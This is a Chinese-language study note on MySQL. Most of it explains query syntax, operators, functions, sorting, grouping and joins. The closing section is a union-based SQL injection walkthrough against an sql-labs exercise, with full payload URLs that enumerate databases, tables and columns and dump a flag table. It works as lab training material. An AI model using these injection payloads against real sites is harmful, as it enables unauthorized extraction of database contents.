MYSQL的学习

[ MYSQL的学习 ] 简单介绍了一下使用及SQL注入的奇淫技巧,详细解释请自查手册文档等等.

SQL注入的分类:

基于从服务器接收到的响应

  • 基于错误的SQL注入
  • 联合查询的类型
  • 堆查询注射
  • SQL盲注 - 布尔盲注 - 时间盲注 - 报错盲注

基于如何处理输入的SQL查询

  • 基于字符串
  • 数字或整数为基础

基于程度和顺序的注入

  • 一阶注射
  • 二阶注射
  • 通过用户输入的表单域的注射
  • 通过cookie注射
  • 通过服务器变量注射

DQL语言

常用专业用语

DB:数据库 (Database)

DBMS:数据库管理系统 (Database Management System)

SQL:结构化查询语言,用于与数据库交互的语言

字段:数据表的列

常用SQL语句

查询所有数据库:show databases;

查询当前数据库中所有数据表:show tables;

查询某个表结构:desc [数据表名];

@@datadir:数据库路径

@@version_compile_os:操作系统版本

注释符号

1
2
单行注释:# 或 -- 或 /**/
多行注释:--

SELECT

基础查询:

1
2
3
4
5
6
7
去重查询:  select distinct ... ;
单字段查询:select [字段名称] from [表名称];
多字段查询:select [字段名称], [字段名称] from [表名称];
查询所有: select * from [表名称];
查询函数: select [函数名称];
查询表达式:select [运算公式];
查询常量: select [常量];

取别名:

1
2
3
4
5
6
1. [原名称] as [新名称]
2. [原名称] [新名称]
样例:
select first_name hahaha, last_name as hehehehe from users;
当新名称中含有特殊字符,请使用引号包裹起来如下:
select uid as "e eee", sex "a aaa" from users;

操作符优先级(优先级高优先运算)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
:=

||, OR, XOR

&&, AND

NOT

BETWEEN, CASE, WHEN, THEN, ELSE

=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN

|

&

<<, >>

-, +

*, /, DIV, %, MOD

^

- (一元减号), ~ (一元比特反转)

!

BINARY, COLLATE

注意:若开启HIGH_NOT_PRECEDENCE SQL模式被激活,NOT的优先级与 ! 同级

‘+’ 的作用

1
2
3
4
仅为运算符
1. 数值型 + 数值型 :作加法运算
2. 数值型 + 字符型 :系统试图将字符型转换为数值型,若转换成功则加法运算,否则字符型值转换为0与数值型相加。
3. 数值型 + nullnull,注意只要有null,便全为null

拼接函数 CONCAT()

1
2
3
4
5
6
7
8
9
10
返回结果为连接参数产生的字符串
1. 如有任何一个参数为NULL ,则返回值为 NULL
2. 如果所有参数均为非二进制字符串,则结果为非二进制字符串。
3. 如果自变量中含有任一二进制字符串,则结果为一个二进制字符串。
例如:
select concat(-1,0,0.1,1);
select concat(-1,"null");
select concat("-1","null");
select concat("null",null);
附加一个函数concat_ws(),把上面的SQL语句中的concat换成concat_ws试试

条件查询:

1
select [查询列表] from [表名] where [筛选条件];

条件表达式筛选:

1
2
> < = != <> >= <=
例:select id haha from users where id>1 && id!=2 && id<>3 && id>=4 && id<=5 && id<6 || id=7;

注意:
<=> 为安全等于,这个操作符和=操作符执行相同的比较操作,不过在两个操作码均为NULL时,其所得值为1而不为NULL,而当一个操作码为NULL时,其所得值为0而不为NULL。

逻辑表达式筛选:

1
2
3
&& ! || 
and or not
例:select id haha from users where not (id=-1 and id=1 or !(id=2 || id=3) && id<>4);

模糊查询

  • like

与通配符搭配
% 百分号表示多字节通配
_ 下划线表示单字节通配
\ 斜杠表示转义符
注意:ESCAPE关键词可以指定某些符号为转义符

1
2
3
4
例:
查询名字第二个字符为'_',第三个字符为'%'的字符串
select * from users where username like '_\_\%%';
select * from users where username like '_a_a%%' ESCAPE 'a';
  • between and
  • In
  • is null
1
2
3
4
5
6
7
8
9
between [条件] and [条件]
In [条件]
is null [条件]
例:
查询 id 1-3的用户
select * from users where id between 1 and '3';
select * from users where id in("1", 2, '3');
查询 id 为空的用户
select * from users where email is null;

排序查询

语法

1
2
3
4
5
select [查询列表] 
from [数据表]
where [筛选条件]
order by [排序列表] [asc|desc]
注意:排序列表可以为表头,表示通过该字段排序,当为数字n时,表示通过当前查询的第n个字段来排序。比如下表结构中:select username from users order by 1; 表示通过username排序查询, 如果把 1 改为 2 则报错。而 select * from users order by 1; 表示通过 id 排序查询, 如果把 1 增加到 5 则报错。即如果数字超出查询字段的个数范围则报错。

解释:asc为升序,desc为降序,默认为升序.
例子:

1
2
3
4
5
6
7
8
9
desc users; # 表结构如下
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| email | varchar(50) | NO | | NULL | |
| password | varchar(32) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+

1.普通排序

1
2
3
4
5
6
select username from users order by username asc;
select username from users order by 1 asc;
select username from users order by username;
select username from users order by 1;
select username from users order by username desc;
select username from users order by 1 desc;

2.表达式排序

1
select * from users order by (-id*id+4*id-6) asc;

3.别名排序

1
select username haha from users order by haha desc;

4.函数排序

1
select * from users order by length(username) desc;

5.多项排序

1
select * from users order by length(username) desc,username desc;

常见函数

单行函数

1.字符函数

函数名称 函数作用
length() 返回字符串的长度
concat() 连接字符串
upper() 字符串变大写
lower() 字符串变小写
substr() 截取子串
substring() 截取子串
instr() 返回字串第一次出现的索引,如果找不到返回0
trim() 去前后空格
lpad() 左填充
rpad() 右填充
replace() 字符串替换

2.数学函数

函数名称 函数作用
round() 四舍五入
ceil() 向上取整
floor() 向下取整
truncate() 截断
mod() 取余
rand() 返回0-1之间的小数

3.日期函数

函数名称 函数作用
now() 返回系统当前日期 + 时间
curdate() 返回系统当前日期
curtime() 返回系统当前日期
month() 通过日期获取月份,同样的还有年(year),周(week),日(day),小时(hour),分钟(minute),秒(second)
monthname() 通过日期获取英文月份
date_format() 将日期转换为字符
str_to_date() 将日期格式的字符转换成为指定格式的日期,若格式不对则返回 null ,如str_to_date(‘4-20-2018’, ‘%m-%d-%Y’)
datediff() 返回两个日期相差的天数

MYSQL中时间的格式符表

序号 格式符 功能
1 %Y 四位的年份
2 %y 两位的年份
3 %m 月份(01,02…11,12)
4 %c 月份(1,2…11,12)
5 %d 日(01,02…)
6 %H 小时(24小时制)
7 %h 小时(12小时制)
8 %i 分钟(00,01,…59)
9 %s 秒(00,01,…59)

4.其他函数

函数名称 函数作用
user() 返回当前话路被验证的用户名和主机名组合。
database() 返回使用 utf8 字符集的默认(当前)数据库名。在存储程序里,默认数据库是同该程序向关联的数据库,但并不一定与调用语境的默认数据库相同。
version() 返回指示 MySQL 服务器版本的字符串。这个字符串使用 utf8 字符集。
password(‘str’) 加密并返回该字符
md5() md5加密并返回

5.流程控制函数

1> if 函数:if else 的效果

1
2
if (条件表达式, 表达式1, 表达式2)
如果条件表达式满足条件,则表达式1的值,否则表达式2的值

例:select username, if(id>1, ‘会员’, ‘非会员’) from users; # 若id > 1为会员,反之没有,输出所有用户的会员情况

2> case 函数的使用一:switch case 的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.
case 要判断的字段或表达式
when 常量1 then 要显示的值1或语句1
when 常量2 then 要显示的值2或语句2
...
else 要显示的值n或语句n
end
2.
case
when 条件1 then 要显示的值1或语句1
when 条件2 then 要显示的值2或语句2
...
else 要显示的值n或语句n
end

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#exp1:
select username, id,
case id
when 0 then 'hahahaha'
when 1 then 'hehehehe'
else 'eeeeeeee'
end as 'o.o.o.o'
from users;
#exp2:
select username, id,
case
when id<1 then 'hahahaha'
when id=1 then 'hehehehe'
else 'eeeeeeee'
end as 'o.o.o.o'
from users;
分组函数

用作统计使用,又称为聚合函数或统计函数或组函数。简单说就算,常用于分组查询的函数,且他们能处理NULL。

分类:

sum 求和、avg 平均值、max 最大值、min 最小值、count 计算个数

注意:一般sum 和 avg用于处理数值型,而max, min, count可以处理任何数据类型,count(字段)用于统计字段非空值的个数,count(*)常用于统计行数

简例:

1
2
select sum(id), avg(id), max(id), count(*) from users;
select sum(birthday), avg(birthday), max(birthday), count(*) from users;

分组查询

语法

1
2
3
4
5
6
7
5 select 分组函数, 分组后的字段
1 from 表名称
2 [where 筛选条件]
3 group by 分组的列表
4 [having 分组后的筛选]
6 [order by 子句]
注意:查询列表必须特殊,要求是分组函数和group by后出现的字段,123456为筛选顺序

注意:查询列表必须特殊,要求是分组函数和group by后出现的字段

  1. 分组查询中的筛选条件分为两类
数据源 位置 关键字
分组前筛选 原始表 group by 子句的前面 where
分组后筛选 分组后的结果集 group by 子句的后面 having

分组函数做条件必然放在 having 中,且优先考虑能用分组前筛选的(效率高)

  1. group by 子句支持单个字段分组,多个字段分组(多个字段之间用逗号隔开没有顺序要求),表达式或函数
  2. 添加排序,置于整个分组查询的最后

连接查询

当需要同时查询多个表的数据使用。若无有效的连接条件,则为笛卡儿积

1
2
select 字段1,字段2,...
from1, 表2,...

年代分类:

  • sql192版本

等值,非等值,自连接,也支持一部分外连接(用于oracle,sqlserver,mysql不支持)

等值连接

1
2
3
4
5
6
7
select 查询列表
from1 [别名1],表2 [别名2],...
where1.字段 = 表2.字段
[and 筛选条件]
[group by 分组字段]
[having 分组后的筛选]
[order by 排序字段]

注意:
1.防止表字段名重复,通常给表起别名,也是为了缩短查询语句
2.多表无主从之分,即没有顺序
3.n表查询至少需要n-1个连接条件
4.查询结果为多表的交集部分

非等值连接

1
2
3
4
5
6
7
select 查询列表
from1 [别名1],表2 [别名2],...
where 非等值条件
[and 筛选条件]
[group by 分组字段]
[having 分组后的筛选]
[order by 排序字段]

自连接

同上

  • sql199版本
1
2
3
4
5
6
7
8
select 查询列表
from1 别名
[连接类型关键字] join2 别名
on 连接条件
[where 筛选条件]
[group by 分组字段]
[having 分组后的筛选]
[order by 排序字段]

连接类型

内连接:可以理解为对两个表并集运算再加筛选条件,其中有等值连接,非等值连接,自连接,关键字为:inner
具体语法类型192版本,可省略 inner关键字,如下

1
2
3
4
5
6
7
8
9
select 查询列表
from1 别名
[inner] join2 别名
on 连接条件
[where 筛选条件]
[group by 分组字段]
[having 分组后的筛选]
[order by 排序字段]
limit [子句]

外连接:outer
用于查询一个表中有,另一个表没有的记录。可以理解为对两个表交集运算再加筛选条件。
外连接查询的结果为主表中的所有记录
如果从表能与之匹配,则显示匹配的值
如果从表不能匹配他,则显示NULL
外连接查询的结果 = 内连接结果 + 主表中有而从表没有的记录,即

左外,left [outer] ,左为主表
右外,right [outer] ,右为主表,左外右外交换两个表的顺序可以实现相同效果
全外(mysql不支持) full [outer] ,全外连接 = 内连接的结果 + 表1中有而表2无 + 表2中有而表1无(或者说,全外连接 = 表1 U 表 2)

1
2
3
4
5
6
7
8
9
select 查询列表
from1 别名
left|right|full [outer] join2 别名
on 连接条件
[where 筛选条件]
[group by 分组字段]
[having 分组后的筛选]
[order by 排序字段]
limit [子句]

交叉连接:cross

1
2
3
select 查询列表
from1 别名
cross join2 别名

实质上就是笛卡儿积

MYSQL注入

select注入

找到注入点,union注入,查库,查表、查数据

这里拿sql-labs作为例子,常见的select回显注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
判断查询字段数
http://192.168.10.109/Less-41/?id=1 order by 4#
http://192.168.10.109/Less-41/?id=1 order by 3#

查看回显数据
http://192.168.10.109/Less-41/?id=-1 union select 1,2,3#

查看当前用户、数据库名称
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),database()#

查所有数据库
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(schema_name) from information_schema.schemata --+

通过表名的hex值或者表名查某个库的表(不过这题需要用hex值),hex值可以用python的
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=flag --+

http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=0x666C6167 --+

查询表的字段名
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name=0x666C61677461626C65--+

查表数据
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(id,0x3A,flag) from flag.flagtable--+

注意:

  • 失效尝试使用 --+
  • 了解盲注和普通的SQL注入原理是一样的,不同在哪里?
  • 通过SQLiLabs学习sql注入
  • 识别sql注入漏洞点,利用SQL语句拆解整个数据库结构,最后提取出我们要的flag表中信息

评论